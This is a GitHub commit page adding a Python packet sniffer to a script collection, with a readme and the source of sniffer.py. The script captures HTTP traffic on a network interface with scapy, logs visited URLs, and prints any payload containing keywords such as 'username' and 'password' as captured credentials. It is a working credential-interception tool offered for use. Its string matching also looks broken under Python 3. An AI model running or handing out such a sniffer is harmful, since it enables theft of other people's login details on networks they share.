Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 8f7ed81

Browse files
Merge pull request avinashkranjan#268 from pritamp17/sniffer
Sniffer in python
2 parents baac70d + ed60b32 commit 8f7ed81

File tree

3 files changed

+53
-0
lines changed

3 files changed

+53
-0
lines changed

‎SNIFFER/readme.md

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
# Packet Sniffer
2+
python3 script to sniff data from the HTTP pages.
3+
#####
4+
you can run this script on linux,
5+
script will only run on HTTP pages.
6+
7+
### Requirements:
8+
1. python3
9+
10+
2. scapy.all
11+
12+
3. scapy_http
13+
```bash
14+
$ sudo pip install scapy_http
15+
```
16+
17+
### Usage:
18+
19+
```bash
20+
$ python sniffer.py
21+
```

‎SNIFFER/sniffer.png

84.3 KB
Loading[フレーム]

‎SNIFFER/sniffer.py

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
import scapy.all as scapy
2+
from scapy.layers import http
3+
# from scapy_http import http
4+
5+
def get_url(packet):
6+
#for detecting urls
7+
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
8+
9+
def sniff(interface):
10+
#prn it will excute a function which we will give it after capturing packet
11+
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
12+
13+
def get_login_info(packet):
14+
if packet.haslayer(scapy.Raw):
15+
#finding and printing Raw layer
16+
# print(packet[scapy.Raw].load)
17+
load = packet[scapy.Raw].load
18+
keywords=["username", "user", "login" ,"password", "pass"]
19+
for keyword in keywords:
20+
if keyword in load:
21+
return load
22+
23+
def process_sniffed_packet(packet):
24+
if packet.haslayer(http.HTTPRequest):
25+
url = get_url(packet)
26+
print("[+] HTTP REQUEST >> \n"+url)
27+
login_info=get_login_info(packet)
28+
if login_info:
29+
print("\n\n[+] possible username/password >>"+login_info+"\n\n")
30+
31+
#----interfaceon which you want to sniff
32+
sniff("eth0")

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /